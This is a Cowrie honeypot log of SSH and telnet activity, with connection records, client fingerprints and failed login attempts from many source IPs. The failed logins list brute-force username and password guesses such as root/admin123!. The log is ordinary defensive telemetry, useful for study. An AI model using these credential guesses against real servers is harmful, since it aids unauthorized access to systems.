{"eventid":"cowrie.login.failed","username":"root","password":"gratis","message":"login attempt [root/gratis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:44.363174Z","src_ip":"103.27.238.114","session":"7225f55ccd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:45.643467Z","src_ip":"103.27.238.114","session":"7225f55ccd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5853,"dst_ip":"10.17.0.5","dst_port":22,"session":"401036a34343","protocol":"ssh","message":"New connection: 196.188.93.169:5853 (10.17.0.5:22) [session: 401036a34343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:50.926876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:50.930792Z","src_ip":"196.188.93.169","session":"401036a34343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:51.095798Z","src_ip":"196.188.93.169","session":"401036a34343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thepassword","message":"login attempt [root/thepassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:51.789800Z","src_ip":"196.188.93.169","session":"401036a34343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:52.965044Z","src_ip":"196.188.93.169","session":"401036a34343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":33404,"dst_ip":"10.17.0.5","dst_port":22,"session":"555fc6adb376","protocol":"ssh","message":"New connection: 45.78.204.254:33404 (10.17.0.5:22) [session: 555fc6adb376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:56.200980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:56.204958Z","src_ip":"45.78.204.254","session":"555fc6adb376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.3966498374939,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:56.599675Z","src_ip":"172.81.62.90","session":"044720e77244","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:57.887732Z","src_ip":"45.78.204.254","session":"555fc6adb376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40761184692383,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:58.926734Z","src_ip":"128.199.8.54","session":"9153e8cd8865","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"yankai","password":"yankai123","message":"login attempt [yankai/yankai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:59.253444Z","src_ip":"45.78.204.254","session":"555fc6adb376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:00.427139Z","src_ip":"176.211.42.202","session":"54a20717b838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:00.705981Z","src_ip":"45.78.204.254","session":"555fc6adb376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60980,"dst_ip":"10.17.0.5","dst_port":22,"session":"0706364bc679","protocol":"ssh","message":"New connection: 103.176.20.57:60980 (10.17.0.5:22) [session: 0706364bc679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:06.912406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:06.917124Z","src_ip":"103.176.20.57","session":"0706364bc679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:07.171911Z","src_ip":"103.176.20.57","session":"0706364bc679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonnie777","message":"login attempt [root/bonnie777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:07.941508Z","src_ip":"103.176.20.57","session":"0706364bc679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:09.197419Z","src_ip":"103.176.20.57","session":"0706364bc679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52480,"dst_ip":"159.203.135.109","dst_port":22,"session":"a53f2417ed4a","protocol":"ssh","message":"New connection: 27.71.230.31:52480 (159.203.135.109:22) [session: a53f2417ed4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:13.370105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:13.377739Z","src_ip":"27.71.230.31","session":"a53f2417ed4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:14.560615Z","src_ip":"27.71.230.31","session":"a53f2417ed4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!","message":"login attempt [root/admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:17.952060Z","src_ip":"27.71.230.31","session":"a53f2417ed4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:19.230633Z","src_ip":"27.71.230.31","session":"a53f2417ed4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":33032,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d9ab06027b","protocol":"ssh","message":"New connection: 14.63.196.175:33032 (159.203.135.109:22) [session: 70d9ab06027b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:23.143215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:23.150180Z","src_ip":"14.63.196.175","session":"70d9ab06027b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:23.359104Z","src_ip":"14.63.196.175","session":"70d9ab06027b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasxcq23e@#5C27893e","message":"login attempt [root/asdasxcq23e@#5C27893e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:24.224624Z","src_ip":"14.63.196.175","session":"70d9ab06027b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:25.433773Z","src_ip":"14.63.196.175","session":"70d9ab06027b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":44172,"dst_ip":"10.17.0.5","dst_port":22,"session":"47f269db4419","protocol":"ssh","message":"New connection: 181.188.176.242:44172 (10.17.0.5:22) [session: 47f269db4419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:34.416400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:34.420616Z","src_ip":"181.188.176.242","session":"47f269db4419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:34.582053Z","src_ip":"181.188.176.242","session":"47f269db4419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456..","message":"login attempt [root/Abc123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:35.261360Z","src_ip":"181.188.176.242","session":"47f269db4419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:36.424442Z","src_ip":"181.188.176.242","session":"47f269db4419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":36984,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe27776202e","protocol":"ssh","message":"New connection: 45.123.217.22:36984 (10.17.0.5:22) [session: 0fe27776202e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:43.843830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:43.847539Z","src_ip":"45.123.217.22","session":"0fe27776202e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:44.073317Z","src_ip":"45.123.217.22","session":"0fe27776202e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgo","message":"login attempt [csgoserver/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:45.013248Z","src_ip":"45.123.217.22","session":"0fe27776202e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:46.242360Z","src_ip":"45.123.217.22","session":"0fe27776202e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":42738,"dst_ip":"159.203.135.109","dst_port":22,"session":"62607c57529c","protocol":"ssh","message":"New connection: 152.32.214.226:42738 (159.203.135.109:22) [session: 62607c57529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:48.411925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:48.444065Z","src_ip":"152.32.214.226","session":"62607c57529c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:48.664359Z","src_ip":"152.32.214.226","session":"62607c57529c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"sales1123","message":"login attempt [sales1/sales1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:49.576787Z","src_ip":"152.32.214.226","session":"62607c57529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:50.798273Z","src_ip":"152.32.214.226","session":"62607c57529c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56374,"dst_ip":"159.203.135.109","dst_port":22,"session":"7efded1a4b95","protocol":"ssh","message":"New connection: 51.250.105.222:56374 (159.203.135.109:22) [session: 7efded1a4b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:54.117347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:54.121554Z","src_ip":"51.250.105.222","session":"7efded1a4b95","protocol":"ssh"}
